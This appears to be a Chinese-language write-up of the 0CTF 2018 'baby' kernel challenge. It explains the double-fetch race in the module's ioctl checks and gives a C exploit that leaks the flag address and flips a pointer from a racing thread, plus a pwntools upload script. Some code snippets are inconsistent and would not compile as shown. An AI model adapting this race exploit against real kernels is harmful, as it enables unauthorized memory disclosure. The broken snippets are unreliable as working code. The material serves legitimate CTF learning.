0CTF2018-baby(double-fetch)

只给了baby.ko和加载的文件系统core.cpio,没有内核和启动脚本,所以需要下载和配置。

1.下载内核配置环境:

(1)IDA打开baby.ko查看十六进制的汇编可以看到调用的Linux版本,可以下载源码编译或者直接下载编译好的。img

(2)解压得到压缩内核:

1
2
3
4
5
#注释头

apt search linux-image-[version]
apt download xxxx
ar -x linux-image-4.15.0-22-generic_4.15.0-22.24_amd64.deb

在./data/boot中有vmlinuz-4.15.0-22-generic,不要再类似压缩为bzImage,可以直接用来启动qemu。

(3)配置文件系统和启动脚本:

①文件系统:用busybox制作的,find ./* | cpio -H newc -o > rootfs.cpio

1

②启动脚本和配置文件:

2

1
2
3
4
5
6
7
8
9
10
11
#! /bin/sh
qemu-system-x86_64 \
-m 256M -smp 4,cores=2,threads=2 \
-kernel ./vmlinux \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokalsr" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
#-gdb tcp::1234 \
# -S

2.开始解析baby.ko

(1)两个实际命令,在baby_ioctl函数中:

3

①0x6666命令可以得到flag在内核空间的地址

②0x1337命令会触发三个检查,如果检查成功则可以打印出flag

(2)漏洞点:

漏洞在检查上,三个检查是检查通过ioctl传入的数据rdx。

▲_chk_range_not_ok函数:将第一个参数rdi和第二个参数rsi相加,判断是否小于第三个参数rdx,如果大于等于将al置为1(al即rax的低8位寄存器),如果小于则返回0,而如果要进入该if,则需要返回值为0,则需rdi+rsi < rdx。

①检查一:_chk_range_not_ok(v2, 16LL, (__readgsqword(&current_task) + 4952)其中的(__readgsqword(&current_task) + 4952)其实是用户空间的起始地址:

4

即传入数据的地址加上16需要小于0x7ffffffff000,而小于0x7ffffffff000则表示处在用户空间中:

5

那么就是检查传入的数据的地址是否位于用户空间。

②检查二即将传入的数据作为一个结构体,检查该结构体中flag指针对应的数据的地址加上flag的长度是否位于用户空间。

③检查三即检查flag的长度是否和程序中硬编码的长度相等。

▲由于传入的结构体是由我们控制的,且过程中依据该结构体来索引flag,其中的flag指针我们也可以改变,所以如果在检查结束之后,打印flag之前,能够将flag指针指向内核空间真正的flag处,那么就能够通过:

1
2
3
4
5
6
7
#注释头

for ( i = 0; i < strlen(flag); ++i )
{
if ( *(*v5 + i) != flag[i] )
return 22LL;
}

从而打印内核空间真正的flag了。而这个内核空间flag的地址可以通过命令0x6666得到,这样就类似于利用了一个条件竞争的漏洞。

3.编写exp

(1)首先是结构体:

1
2
3
4
5
6
7
#注释头

struct MyflagStruc
{
char *flag;
size_t len;
};

(2)接着打开dev获取地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

int fd = open("/dev/baby",O_RDONLY);
ioctl(fd,0x6666);

system("dmesg > /tmp/record.txt");
allInfo_fd= open("/tmp/record.txt",O_RDONLY);
lseek(allInfo_fd,-0x1000,SEEK_END);
read(allInfo_fd,buf,0x1000);
close(allInfo_fd);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx += 16;
kernelFlag_addr = strtoull(idx,idx+16,16);
printf("[+]kernelFlag_addr: %p\n",kernelFlag_addr);
}

①关于dmesg,这个命令是获取从启动虚拟机开始的几乎所有的输出信息,所以如果我们打开baby这个dev,就能够得到里面printk函数的相关输出,然后把输出重定向到/tmp/record.txt这里面,再从record.txt中获取地址。同时由于是所有的输出信息,所以返回给我们的flag地址肯定是在最后面的,所以lseek(allInfo_fd,-0x1000,SEEK_END);从最后面往前获取0x1000个字节,然后再来用strstr获取子字符串索引,最后strtoull转换地址得到内核中flag的地址。

6

(3)然后创建线程,爆破修改数据中flag指向的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

MyflagStruc myflag;
myflag.len = 33;
myflag.flag = buf;
pthread_create(&myflag, NULL, change_attr_value,&myflag);
for(int i = 0; i < 0x1000; i ++){
ret = ioctl(fd, 0x1337, &myflag);
myflag.flag = buf;
}
finish = 1;
pthread_join(myflag, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");

线程方面这涉及回调函数相关知识,自己补吧。

(4)线程回调函数:修改flag指向内核的flag,从而能够通过逐字节验证

1
2
3
4
5
6
7
#注释头

void changeFlagAddr(void *myflag){
while(finish==0){
myflag->flag = kernelFlag_addr ;
}
}

4.一些注意事项:

(1)头文件的注意事项,和写小程序一样,自己加。

(2)线程注意事项:gcc编译时需要加上-lpthread参数,并且要静态编译。

(3)输入输出重定向:我看很多exp都有关闭输入输出流的,但是我尝试了一下,不用关其实也可以,可能是对应的环境关系吧。

1
2
3
4
5
#注释头

setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

(4)文件传输模块:

先转发一下启动程序:

1
2
3
#注释头

socat tcp-listen:30000,fork exec:./boot.sh,reuseaddr

可以用下列脚本,这个脚本参照这位师傅的:

https://blog.csdn.net/seaaseesa/article/details/104537991

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#注释头

# coding:utf8
from pwn import *
import base64

sh = remote('127.0.0.1',30000)

#exploit
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()

# segment send
per_length = 0x200;
# touch file
sh.sendlineafter('$ ','touch /tmp/exploit')

log.info("Total length:%d"%total)
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('$ ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
print(i)

if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('$ ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))

sh.sendlineafter('$ ','chmod +x /tmp/exploit')
sh.sendlineafter('$ ','/tmp/exploit')
sh.interactive()

(5)调试模块:

关于文件系统的选择方面,用精简版的Busybox开出来的qemu调试的时候获取加载模块的基地址总是出错,暂时不知道为什么后面补。

但是可以用2018强网杯core的文件系统,加载之后调试的基地址没问题,这个在ctfwiki上有。